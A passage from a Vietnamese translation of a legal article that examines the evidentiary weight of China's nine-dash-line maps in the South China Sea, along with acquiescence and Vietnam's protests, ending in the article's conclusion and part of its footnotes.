chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn 